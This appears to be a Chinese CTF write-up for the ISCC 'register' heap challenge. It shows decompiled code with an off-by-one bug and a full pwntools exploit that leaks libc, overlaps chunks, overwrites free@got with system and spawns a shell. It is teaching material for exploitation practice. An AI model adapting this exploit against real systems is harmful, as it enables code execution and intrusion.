ISCC_register

First Post:

Last Update:

register WP

checksec结果

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)

发现got表可写,并且没有开启pie保护。

静态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
menu();
read(0, buf, 4uLL);
switch ( atoi(buf) )
{
case 1:
create_user();
break;
case 2:
edit_user();
break;
case 3:
show_user();
break;
case 4:
delete_user();
break;
case 5:
exit(0);
default:
puts("Invalid Choice");
break;
}
}
}

程序提供新建,修改,打印,删除4个功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 create_user()
{
__int64 v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]

v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*((_QWORD *)&heaparray + i) )
{
*((_QWORD *)&heaparray + i) = malloc(0x10uLL);
if ( !*((_QWORD *)&heaparray + i) )
{
puts("Allocate Error");
exit(1);
}
printf("enter the user ID : ");
read(0, buf, 8uLL);
size = atoi(buf);
v0 = *((_QWORD *)&heaparray + i);
*(_QWORD *)(v0 + 8) = malloc(size);
if ( !*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL) )
{
puts("Allocate Error");
exit(2);
}
**((_QWORD **)&heaparray + i) = size;
printf("enter the username : ");
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}

允许我们创建任意大小堆块,先创建一个0x20大小的堆块储存信息,再创建面向用户的堆块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 edit_user()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_QWORD *)&heaparray + v1) )
{
printf("enter the username : ");
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), **((_QWORD **)&heaparray + v1) + 1LL);
puts("Done !");
}
else
{
puts("No this user !");
}
return __readfsqword(0x28u) ^ v3;
}

修改指定堆块中的内容,这里存在一个off_by_one。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 show_user()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_QWORD *)&heaparray + v1) )
{
printf(
"ID : %ld\nUsername : %s\n",
**((_QWORD **)&heaparray + v1),
*(const char **)(*((_QWORD *)&heaparray + v1) + 8LL));
puts("Done !");
}
else
{
puts("No this user !");
}
return __readfsqword(0x28u) ^ v3;
}

打印指定堆块中的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 delete_user()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_QWORD *)&heaparray + v1) )
{
free(*(void **)(*((_QWORD *)&heaparray + v1) + 8LL));
free(*((void **)&heaparray + v1));
*((_QWORD *)&heaparray + v1) = 0LL;
puts("Done !");
}
else
{
puts("No this user !");
}
return __readfsqword(0x28u) ^ v3;
}

释放堆块,释放后正确置0。

利用思路

申请并释放一个unsortedbinchunk,再次申请回来泄露libc。利用off by one进行chunkoverlapping。去修改储存信息用的堆块中的地址为free_got,再利用编辑功能修改free_gotsystem.最后执行free得到shell。

堆内存设计

Snipaste_2024-09-05_15-42-36.png

具体步骤

首先申请一个0xb0大小的堆块,释放,重新申请为0x20大小的堆块。此时这个堆块中会储存main_arena + 88的地址,这里我新建堆块时输入了一个字节覆盖了末位,但没有影响,不妨碍泄露libc

之后申请一个大小为0x20大小的堆块,用于生成两个0x20大小的chunk。释放后依次申请0x300x20大小的堆块。修改0x30大小的堆块,利用溢出的一个字节将下一个chunk(即刚申请的0x20 大小的chunk)的大小覆盖为0x41

释放堆块,重新申请0x40大小的堆块。这时我们新申请的堆块就可以修改相邻堆块的信息。修改其为free_got,再次修改即可向free_got写入system

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

from pwn import *

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch = 'amd64'
context.log_level = 'debug'

binary = './register'
libelf = ''

if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

io = process("./register")
#io = remote("")

def a(size,content):
sla("Your choice :",b"1")
sla(b"enter the user ID : ",str(size).encode())
sla(b"enter the username : ",content)

def e(idx,content):
sla("Your choice :",b"2")
sla(b"Index :",str(idx).encode())
sla(b"enter the username : ",content)

def s(idx):
sla("Your choice :",b"3")
sla(b"Index :",str(idx).encode())

def f(idx):
sla("Your choice :",b"4")
sla(b"Index :",str(idx).encode())

a(0xa0,b"a"*0x90)
a(0x18,b"a"*0x18)
f(0)
a(0x18,b"")
s(0)
ru(b"Username : ")
libc_base = u64(r(6).ljust(8,b"\x00")) - 0x3C4c0A
libc = ELF("libc-2.23.so")
system = libc_base + libc.sym["system"]
ls(hex(libc_base))
ls(hex(system))
a(0x18,b"")
#gdb.attach(io)
f(2)
a(0x28,b"/bin/sh\x00")
a(0x18,b"")
e(2,b"/bin/sh\x00"+b"c"*0x20+b"\x41")
f(3)
a(0x38,b"")
e(3,b"a"*0x18+p64(0x20)+p64(0x18)+p64(elf.got["free"]))
e(1,p64(system))
f(2)
itr()